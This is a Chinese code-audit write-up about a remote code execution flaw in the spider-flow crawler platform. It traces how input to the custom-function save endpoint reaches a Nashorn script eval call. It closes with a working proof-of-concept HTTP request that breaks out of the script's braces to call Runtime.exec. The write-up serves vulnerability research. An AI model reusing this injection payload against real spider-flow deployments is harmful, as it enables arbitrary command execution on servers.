项目下载地址
spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。https://gitee.com/ssssssss-team/spider-flow
在平台spiderflow的页面中有一个自定义函数,看到函数应是非常的敏感了。
可以做一些猜想与尝试,定义的函数在什么时候可以调用?让定义的脚本执行系统命令?基于java的机制写一段静态代码段尝试一下!?
然而这些尝试都没有达到预期目的,现在我们尝试进入后端代码,调试调试看一看底层的调用机制。
输入一些参数开始进行抓包,抓包的目的是想看它调用了谁的接口
很明显,我们重点找/function/save
springboot项目 我们重点关注Controller的名称 注解RequestMapping 以寻求调用的方法
好的,我们成功找到了,接口的入口,而且注意到输入的数据都在function里
打上断点开始进入调式
追进savaFunction
继续追进validScript,注意参数的传递,
看看参数变成什么样了 ,concatScript函数把我们怎么处理了,直接看看它把参数处理的结果
它最终把输入的参数变成了字符串,而且可以确定的是ming can xxxx 这三个位置是我们可控的,且之前没有什么相关的参数过滤(这里先不考虑过滤器什么的机制 先这样认为)
再追进
停..... 这里我就要喊停了,因为再调就跳出三界之外了!这之前都是项目文件包中的代码逻辑,而这段eval 是jdk的。所以要停 即使我们不知道那个engine也要有这样的意识。作为一名代码审计员 任重而道远 要分析中重点的内容.....
重点分析这个eval 调用的时候是否有漏洞。 别忘了执行条命令的时候有些参数我们可以控制的。
我们把这个包名与这段代码,丢给GPT 看看它给我们的示例!
jdk.nashorn.api.scripting
是Java 8中引入的一个包,它提供了与Nashorn JavaScript引擎交互的API。Nashorn是Java 8中默认的JavaScript引擎,为Java开发人员提供了在Java虚拟机上运行JavaScript代码的能力。
jdk.nashorn.api.scripting
包中的类和接口提供了一系列方法,可以在Java和JavaScript之间进行数据交换、函数调用和脚本执行等操作。以下是一些常用的类和接口:
ScriptEngineManager
:用于获取和管理不同脚本引擎的工厂类。
ScriptEngine
:表示一个脚本引擎,可以在其中执行JavaScript脚本。
Bindings
:一个键-值集合,用于在Java和JavaScript之间传递数据。
Invocable
:表示一个可调用的JavaScript对象,可以在其中调用JavaScript函数。
ScriptContext
:表示一个JavaScript脚本的执行环境,包括全局变量、输出流和错误流等。使用这些类和接口,可以编写Java代码来执行JavaScript脚本、调用JavaScript函数、获取JavaScript对象等等,实现Java和JavaScript之间的无缝交互。
需要注意的是,虽然Nashorn是Java 8中默认的JavaScript引擎,但在Java 11中已经被弃用,建议使用其他JavaScript引擎库来代替。
随后可以要求GPT给出示例代码
以下是一个使用
jdk.nashorn.api.scripting
包的简单示例,展示了如何在Java中执行JavaScript脚本和调用JavaScript函数:
javaCopy Codeimport javax.script.*;
public class NashornExample {
public static void main(String[] args) throws ScriptException, NoSuchMethodException {
// 创建一个ScriptEngineManager对象
ScriptEngineManager manager = new ScriptEngineManager();
// 获取Nashorn脚本引擎
ScriptEngine engine = manager.getEngineByName("nashorn");
// 定义JavaScript脚本
String script = "function greet(name) { return 'Hello, ' + name; }";
// 执行JavaScript脚本
engine.eval(script);
// 调用JavaScript函数
Invocable invocable = (Invocable) engine;
String result = (String) invocable.invokeFunction("greet", "John");
System.out.println(result); // 输出:Hello, John
}
}
在上述示例中,我们首先创建一个
ScriptEngineManager
对象,然后通过它获取一个Nashorn脚本引擎。接下来,我们定义了一个JavaScript脚本,其中包含一个名为greet
的函数,该函数接受一个参数并返回一个拼接的字符串。然后,我们使用
engine.eval(script)
方法执行JavaScript脚本。这将使脚本中的函数在脚本引擎中可用。最后,我们使用
Invocable
接口将脚本引擎转换为可调用对象,并使用invokeFunction
方法调用JavaScript函数。在这个例子中,我们调用greet
函数并传递一个参数"John",并将返回的结果保存在一个字符串变量中。最后,我们输出结果,将会打印出"Hello, John"。
请注意,在实际应用中,还需要处理异常情况和错误处理,以确保脚本的安全性和稳定性。同时,由于Nashorn已经被弃用,建议使用其他更先进的JavaScript引擎库,如GraalVM的JavaScript引擎。
这段脚本的确可以执行,不过可不是在这行代码engine.eval(script);中执行,而是在随后的反射调用中执行。
上网查查engine.eval 能否直接执行系统函数
看看网上结果不少,似乎思路是可行的。点开第一个
先在本地测试一下,没问题可以弹出计算机。
把这段代码到spider项目中 测试一下 。中间出了小插曲,这里报错了
看到报错有一个},立马意识到 我们在构造这个payload的时候,里面有一个{ 和前面闭合了 所以之后的} 也要闭合。
仔细一点,即使没有有报错信息我们也可以分析出,这也给代码审计人员提了个醒,payload测试不要急躁。
修正后的代码(在后面加{就行了)
保存, 成功弹出计算机
附赠poc
POST /function/save HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
id=446b686c047b28bc30583782ea9088aa&name=test¶meter=can&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec(%22calc%22)%3B%7B